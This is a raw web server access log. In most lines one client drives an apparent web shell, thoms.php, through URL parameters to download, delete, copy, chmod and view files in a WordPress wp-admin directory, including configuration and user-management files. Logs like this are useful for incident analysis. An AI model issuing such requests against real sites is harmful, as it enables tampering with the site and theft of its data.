45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?del=tools.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=tools.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?del=upgrade.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?del=maint&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=maint&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 200 17559 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?chmod=admin-footer.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?dl=admin-post.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?dl=contribute.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?del=custom-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Findex.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Findex.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /bestzyx.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 200 17995 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?del=authorize-application.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 200 19187 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:50 -0400] "GET /thoms.php?dl=edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /bestzyx.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /bestzyx.com.tw/wp-admin/includes/ HTTP/1.1" 200 4240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /thoms.php?dl=user-edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /bestzyx.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /thoms.php?del=site-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28932 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&upload= HTTP/1.1" 200 12177 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fplugins.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fplugins.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /bestzyx.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /bestzyx.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /bestzyx.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:51 -0400] "GET /thoms.php?chmod=options-media.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?chmod=ms-options.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?dl=admin-ajax.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?del=options.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=options.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /bestzyx.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?dl=plugins.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 200 14050 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmedia.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmedia.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?chmod=plugins.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?dl=nav-menus.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?dl=menu.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:52 -0400] "GET /thoms.php?del=options-reading.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /bestzyx.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /thoms.php?dl=site-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /thoms.php?del=term.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28938 "http://163.245.207.76:443/thoms.php?del=term.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28966 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /thoms.php?chmod=post.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /bestzyx.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /thoms.php?chmod=link-manager.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /bestzyx.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /thoms.php?del=menu.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?del=menu.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:53 -0400] "GET /thoms.php?del=options-permalink.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?del=plugin-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28944 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 200 12247 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?dl=setup-config.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /bestzyx.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?chmod=admin-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fsite-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fsite-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 200 13784 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /bestzyx.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?del=theme-install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?chmod=about.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?del=revision.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:54 -0400] "GET /thoms.php?dl=link-add.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?del=my-sites.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 200 29053 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 200 15235 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?chmod=options-privacy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /bestzyx.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?del=options-privacy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28932 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 200 20030 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 200 16038 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:55 -0400] "GET /thoms.php?chmod=widgets-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
